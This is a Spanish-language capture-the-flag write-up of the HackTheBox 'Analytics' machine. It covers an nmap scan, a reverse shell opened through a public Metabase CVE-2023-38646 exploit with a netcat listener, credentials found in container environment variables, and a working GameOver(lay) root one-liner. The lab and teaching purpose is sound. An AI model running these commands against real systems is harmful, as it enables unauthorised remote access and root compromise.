Search

Escribe para buscar.

en
HackTheBox: Analytics

HackTheBox: Analytics

Junior Restituyo
0xR3iko

En esta máquina fácil pudimos ver en juego el servicio Metabase y GameOver(lay).

Enumeración

Empezamos con un escaneo de Nmap. Solo los puertos 22 y 80 estaban abiertos, lo que nos lleva a buscar otros enfoques.

# Nmap 7.94SVN scan initiated as: nmap -p22,80 -sCV -Pn -n analytical.htb
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.075s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerando el sitio web, encontramos un login.

El sitio Analytical con un enlace de login

Al ir a la página de login, encontramos una instancia de Metabase.

Una instancia de login de Metabase

¿Qué es Metabase?

Metabase es una plataforma de business intelligence de código abierto. Podés usarla para hacer preguntas sobre tus datos, o integrarla en tu app para que tus clientes exploren sus datos por su cuenta.

Acceso inicial

Encontramos que Metabase es vulnerable a CVE-2023-38646.

https://github.com/shamo0/CVE-2023-38646-PoC

Metabase open source antes de 0.46.6.1 y Metabase Enterprise antes de 1.46.6.1 permiten a un atacante ejecutar comandos arbitrarios en el servidor, con el nivel de privilegios del servidor. No se requiere autenticación para la explotación.

Siguiendo el PoC, primero levantamos nuestro listener con netcat.

bash
nc -lvnp 443

Y luego enviamos nuestro payload.

bash
python3 CVE-2023-3846-Reverse-Shell.py --rhost <Target> --lhost <Attacker> --lport <Attacker-port>

Enviando el payload de RCE de Metabase

Obtuvimos acceso a un contenedor Docker.

Reverse shell dentro de un contenedor Docker

Escalada de privilegios

En el acceso inicial estamos dentro de una instancia Docker, lo que nos limita bastante, así que nos propusimos buscar contraseñas o cualquier otra información sensible.

Enumerando el contenedor Docker limitado

Buscando en distintos lugares, uno nos mostró información valiosa: las variables de entorno. Encontramos una credencial que más tarde nos da acceso al servidor real a través de SSH.

Credenciales expuestas en las variables de entorno

En consecuencia, obtuvimos la primera flag.

Flag de usuario obtenida por SSH

Empezamos a enumerar el sistema para escalar privilegios, y en las primeras comprobaciones encontramos que la versión del kernel es vulnerable a GameOver(lay).

Comprobando la versión vulnerable del kernel

Confirmando la vulnerabilidad GameOver(lay)

¿Qué es GameOver(lay)?

OverlayFS en Linux es un sistema de archivos de unión que coloca un sistema de archivos sobre otro, permitiendo modificar archivos sin alterar la base. Esta flexibilidad lo convierte en un posible problema de seguridad: permite copiar archivos del directorio “lower” al “upper” manteniendo metadatos críticos (como el sticky bit), lo que no debería ser posible en Linux.

https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability

Siguiendo y documentando el PoC, pudimos obtener acceso root.

bash
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

Explotando GameOver(lay) para obtener root

Finalmente obtuvimos nuestra última flag.

Flag de root obtenida

Gracias por leer.